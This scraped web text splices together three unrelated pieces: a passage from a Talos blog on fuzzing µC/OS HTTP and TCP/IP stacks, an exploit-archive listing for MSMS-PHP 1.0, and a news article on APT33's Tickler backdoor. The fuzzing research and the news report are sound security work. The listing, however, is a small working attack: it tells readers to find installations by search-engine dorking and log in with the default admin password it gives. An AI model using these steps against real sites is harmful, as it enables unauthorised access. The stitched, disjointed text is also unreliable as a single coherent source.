When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. Other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

The next installment of this series will describe the complexities of handling multiple requests per test case — an enhancement that holds the potential to reveal even more vulnerabilities.

Fuzzing µC/OS protocol stacks, Part 1: HTTP server fuzzing

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server.

Wednesday, August 28, 2024 12:00

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server. 

The first post highlighted code modifications necessary for developing a fuzzing harness tailored for the µC/HTTP-server. The second discussed a technique for delivering multiple requests per fuzz test case. Finally, I’ll detail the code modifications required for fuzzing the µC/TCP-IP stack. Please refer to the first post in the series for a description of Real-Time Operating Systems (RTOS) and the motivations for this research project. 

My goals in fuzzing µC/TCP-IP are the same as for µC/HTTP-server:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case.

Self-imposed constraints:

*   A software-only solution.
*   Run natively on Linux.

I wanted to find a straightforward way to fuzz this code without relying on emulation or dedicated hardware. 

**Linux port**

To utilize the AFL++ fuzzing framework, this code must run on Linux rather than µC/OS. This is a similar challenge I faced in Part 1. This time, however, I opted to use the POSIX KAL implementation that µC/OS provided rather than develop my own. This architecture diagram shows the layout of the various software components of µC/OS. The blue highlight represents the components I will be modifying to port the application to Linux. The orange highlight represents the code that’s the fuzzer’s target.

With my µC/HTTP-server fuzzing harness, I decided against using the provided POSIX KAL implementation. The µC/HTTP-server code I was targeting did not use many of the OS components, so it was simple to implement my own minimalist KAL interface. In contrast, the µC/TCP-IP implementation uses a separate task for receiving data and uses semaphores and message queues requiring a more complete KAL implementation. 

Using the code provided by µC/OS felt like taking a shortcut. It was painless and worked right out of the box with only minor modifications. That’s not something that I can say for working with the networking side of things, which required a lot of development.

**Network port ****TAP device**

My primary goal for the fuzzer is to enable it to accept network data from a file. To start, I adopted the strategy I used for my µC/HTTP-server, which involves ensuring my program functions with actual network data. Doing this initially allows for more straightforward debugging and testing of my code, as I can use standard Linux utilities to send real network traffic to my program.

It was a bit more complicated to get data from the network to be processed by µC/TCP-IP than it was for µC/HTTP-server. This is because TCP/IP is a lower-level protocol than HTTP. HTTP is an application layer protocol while TCP/IP is a transport layer protocol. Typically, user mode applications interact with the network at the application layer via POSIX sockets or a NetSock for µC/OS. 

In Linux, when using sockets, the kernel manages the TCP/IP processing and only delivers application layer data to the user mode application. However, my challenge was that my user mode µC/TCP-IP application is intended to handle the TCP/IP protocol itself. To bypass the kernel’s TCP/IP stack, I utilized a TAP device — a purely software-based kernel virtual network device.

Although this module is called µC/TCP-IP, it actually covers multiple layers of the OSI model. The layers circled in orange indicate layers of the OSI model for which the µC/TCP-IP module will process:

The µC/TCP-IP code is expecting to receive an Ethernet frame, and it includes handlers for ARP, IP, TCP and UDP. Because µC/TCP-IP is expecting to receive Ethernet frames, a TAP device should be used because it transfers Ethernet frames unlike a TUN device which transfers IP packets. 

A TAP device is meant to be used by user space programs that attach to it. When the operating system sends packets to a TAP device, they are delivered to the attached user space program. Conversely, packets sent by the user-space program to the TAP device are injected into the kernel network stack as if they originated from an external source.

To use a TAP device, I wrote my own Ethernet device driver using the API provided by µC/TCP-IP. I needed to create and configure my TAP device with the driver and implement functions to transmit and receive data. Again, µC/OS was great to work with for this because their API was well-defined and documented. Additionally, there are dozens of device drivers in the µC/TCP-IP repository for various ethernet hardware. Having all this example code and documentation was immensely helpful. In implementing this, I used the open-source tapip utility as a guide for creating and configuring a TAP device within my µC/TCP-IP Ethernet driver.  

The most confusing part of this was visualizing the network topology involving the TAP device. I created and assigned the TAP device an IP address of 10.10.10.1 and the Linux kernel assigned it a MAC address of 46:31:92:b0:48:5b. For remote communication, I'd need to create a network bridge, but for testing, local communication is adequate. The TAP device that I created is given the name tap0 and even shows up when running ifconfig: 

I also needed to assign my µC/TCP-IP application its own MAC and IP addresses, effectively creating another virtual Ethernet device. This adds a layer of complexity, as it's a virtual ethernet device operating through another virtual Ethernet device. Within the µC/TCP-IP application I've set up a virtual Ethernet device with an IP address of 10.10.10.64 and a MAC address of 12:12:12:34:34:34. This setup is a bit confusing because it's not externally visible in the Linux system — it's exclusive to the µC/TCP-IP application, as if the application were running on a separate machine, with the tap interface acting as the link between the Linux host and the µC/TCP-IP application.

To validate the functionality of µC/TCP-IP, I developed an echo server running on port 10001. To test my setup, I used the Linux utility netcat to establish a TCP connection to the µC/TCP-IP application. When traffic is sent from a linux application using tap0 and the mac or ip address of the µC/TCP-IP virtual interface is provided, it will be processed by my application. To send a test message and establish a TCP connection, I could execute a netcat command such as echo 'test' | nc -N 10.10.10.64 10001. Here, the netcat tool operates through a socket connected to the tap0 interface. This socket uses the Linux kernel TCP/IP stack which will first send an ARP request from tap0’s address to broadcast to learn the corresponding MAC address for that IP address. Then, the µC/TCP-IP application will receive that broadcast message, process the request, and respond with its own MAC/IP address pair. Then, a TCP connection will be initiated using the MAC/IP address pair of the µC/TCP-IP application. The image below was captured using Wireshark attached to the tap0 interface. 

The µC/TCP-IP application is not using sockets when interacting with the tap0 interface, instead, it uses a file descriptor to directly read from and write the device. The result is that the µC/TCP-IP application is writing packet data directly to the network without modification. The diagram below shows how each of these components work together to establish the TCP connection shown above. 

**File reads**

At this point, I’ve confirmed that my µC/TCP-IP echo server works using netcat. The next step for fuzzing is to modify the Ethernet driver to read from a file instead of the TAP device. Although my Ethernet driver isn’t using sockets, it is still possible to use libdesock because it overrides the read and write from libc. However, this required some code modifications in addition to using LD_PRELOAD with libdesock. First, I needed to create a socket descriptor that libdesock would redirect to stdin. Since the µC/TCP-IP application does not use sockets when interacting with the tap0 interface, I had to utilize a libdesock debug function, _debug_instant_fd, which provides a file descriptor that is automatically redirected to stdin. 

Typically, libdesock would redirect a file descriptor when accept is called, but since this is happening at a lower level, I needed to use the file descriptor that libdesock provided with the call to _debug_instant_fd. I used a compile time flag to create this libdesock file descriptor instead of creating a tap device for my fuzzing build:

    #ifdef DESOCK_FUZZ
        /* calling _debug_instant_fd for libdesock */
        fd = _debug_instant_fd(0);
        p_dev_data->tunFd = fd;
    #else
        /* Create TAP device */
    

Then, I needed to add code to terminate the µC/TCP-IP echo server once the last request was read from the file.

           ret = read(p_dev_data->tunFd, p_dev_data->RxDataPtr, p_dev_data->rxSize);
    …
    #ifdef DESOCK_FUZZ
            } else if (0 == ret)
            {
                exit(0);
            }
    #else
    	/* Continue processing */

After those code modifications, when we use LD_PRELOAD with libdesock, our application will read request data from stdin. By utilizing libdesock I immediately gained support for handling multiple requests because of that added feature. For more information on how libdesock works, refer to Post 2 from this series. 

**Memory errors**

I wanted to use Address Sanitizer (ASAN) with my fuzz application, as it is designed to detect many different types of memory errors like use after free, NULL pointer dereference and buffer overruns. The heap implementation used by µC/TCP-IP is different from that of µC/HTTP-server, but I was able to employ the same technique that I described in Post 1 from this series.

**Vulnerability highlight**

Now, we've successfully adapted the µC/TCP-IP code to develop a fuzzing solution that operates solely in software, is native to Linux, and can process inputs from a file. The approach we discussed here uncovered two unique vulnerabilities: TALOS-2023-1828 and TALOS-2023-1829. One of which is a result of fuzzing multiple requests at a time.

When disclosing these vulnerabilities, I discovered that much of the µC/TCP-IP codebase is shared across multiple products. Silicon Labs Gecko Platform is also affected by TALOS-2023-1828. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 116:2 and 116:151.

**Conclusion **

Thank you for following along in this series about fuzzing µCOS protocol stacks. To recap, we created software-only fuzzing solutions for fuzzing µC/HTTP-server and µC/TCP-IP. The fuzzing solutions discussed here include the ability to run natively on Linux and accept input from a file. We also covered a feature contribution to libdesock which allows for multiple requests to be processed by the application in a single test case, resulting in more complex vulnerability findings. My hope is that the techniques described in this series will encourage others to fuzz other RTOS platforms to make these important systems more secure.

Below is a list of vulnerabilities that were disclosed because of this research presented in this blog series:

*   TALOS-2023-1725: Out-of-bounds write vulnerability
*   TALOS-2023-1726: Buffer overflow vulnerability
*   TALOS-2023-1732: Memory corruption vulnerability
*   TALOS-2023-1733: Heap-based buffer overflow vulnerability
*   TALOS-2023-1738: Memory corruption vulnerability
*   TALOS-2023-1746: Memory corruption vulnerability
*   TALOS-2023-1828: Denail of service vulnerability
*   TALOS-2023-1829: Double-free vulnerability
*   TALOS-2023-1843: Heap-based buffer overflow vulnerability

The following is a list of Snort rules that will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908, 119:203:1, 119:282:1, 116:2 and 116:151. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Fuzzing µC/OS protocol stacks, Part 3: TCP/IP server fuzzing, implementing a TAP driver

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

**MSMS-PHP 1.0 Insecure Settings**

Posted Aug 28, 2024

Authored by indoushka

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit, php

SHA-256 | 901a66e3533b07e82bfa171f76797bfe6f506ccd295fb4c073fbbd2ad85576ea

Download | Favorite | View

**MSMS-PHP 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : MSMS-PHP v1.0 Insecure Settings Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,567)
*   Arbitrary (16,906)
*   BBS (2,859)
*   Bypass (1,878)
*   CGI (1,034)
*   Code Execution (7,840)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,412)
*   DoS (25,123)
*   Encryption (2,389)
*   Exploit (53,308)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,242)
*   Local (14,808)
*   Magazine (587)
*   Overflow (13,178)
*   Perl (1,435)
*   PHP (5,227)
*   Proof of Concept (2,396)
*   Protocol (3,731)
*   Python (1,648)
*   Remote (31,704)
*   Root (3,639)
*   Rootkit (528)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,031)
*   Shell (3,281)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,279)
*   SQL Injection (16,629)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,023)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,267)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,919)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,636)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,782)
*   UNIX (9,441)
*   UnixWare (187)
*   Windows (6,677)
*   Other

MSMS-PHP 1.0 Insecure Settings

In addition to its long-standing password spraying attacks, Microsoft says Iran-backed hacker group Peach Sandstorm—or APT 33—has developed custom malware dubbed “Tickler.”

The Iranian government-backed hacking group known as APT 33 has been active for more than 10 years, conducting aggressive espionage operations against a diverse array of public and private sector victims around the world, including critical infrastructure targets. And while the group is particularly known for strategic but technically simple attacks like “password spraying,” it has also dabbled in developing more sophisticated hacking tools, including potentially destructive malware tailored to disrupt industrial control systems. Now, findings from Microsoft released on Wednesday indicate that the group is continuing to evolve its techniques with a new multistage backdoor.

Microsoft Threat Intelligence says that the group, which it calls Peach Sandstorm, has developed custom malware that attackers can use to establish remote access into victim networks. The backdoor, which Microsoft named “Tickler” for some reason, infects a target after the hacking group gains initial access via password spraying or social engineering. Beginning in April and as recently as July, the researchers observed Peach Sandstorm deploying the backdoor against victims in sectors including satellite, communications equipment, and oil and gas. Microsoft also says that the group has used the malware to target federal and state government entities in the United States and the United Arab Emirates.

“The Tickler malware isn’t necessarily a big step up in tactics, techniques, and procedures for this threat actor, but it does represent a clear and active development focus on taking action on objectives," Sherrod DeGrippo, Microsoft's director of threat intelligence, told WIRED in a statement.

The researchers observed Peach Sandstorm deploying Tickler and then manipulating victim Azure cloud infrastructure using the hackers’ Azure subscriptions to gain full control of target systems. Microsoft says that it has notified customers who were impacted by the targeting.

The gang has also continued its low-tech password spraying attacks, according to Microsoft, in which hackers attempt to access many target accounts by guessing leaked or common passwords until one lets them in. Peach Sandstorm has been using this technique to gain access to target systems both to infect them with the Tickler backdoor and for other types of espionage operations. Since February 2023, the researchers say they have observed the hackers “carrying out password spray activity against thousands of organizations.” And in April and May 2024, Microsoft observed Peach Sandstorm using password spraying to target United States and Australian organizations that are in the space, defense, government, and education, sectors.

“Peach Sandstorm also continued conducting password spray attacks against the educational sector for infrastructure procurement and against the satellite, government, and defense sectors as primary targets for intelligence collection,” Microsoft wrote.

The researchers say that, in addition to this activity, the gang has been continuing its social engineering operations on the Microsoft-owned professional social network LinkedIn, which they say date back to at least November 2021 and have continued into mid-2024. Microsoft observed the group setting up LinkedIn profiles that purport to be students, software developers, and talent acquisition managers who are supposedly based in the US and Western Europe.

“Peach Sandstorm primarily used \[these accounts\] to conduct intelligence gathering and possible social engineering against the higher education, satellite sectors, and related industries,” Microsoft wrote. “The identified LinkedIn accounts were subsequently taken down.”

Microsoft's DeGrippo points out that while the new campaigns are noteworthy, Peach Sandstorm has targeted the space industry before.

“This is not the first time Peach Sandstorm has shown interest in satellite-related targeting. This threat actor had \[previously\] pursued organizations in the satellite, defense, and pharmaceutical sectors around the globe,” DeGrippo says. “This backdoor is custom malware with multiple iterations. It shows a focus and commitment to leveraging malware for specific objectives.”

Iranian hackers have been prolific and aggressive on the international stage for years and have shown no signs of slowing down. Earlier this month, reports surfaced that a different Iranian group has been targeting the 2024 US election cycle, including attacks against both the Trump and Harris campaigns.

_Updated at 5:35 pm ET, August 28, 2024: Added comments from Microsoft's director of threat intelligence._

Tag

#mac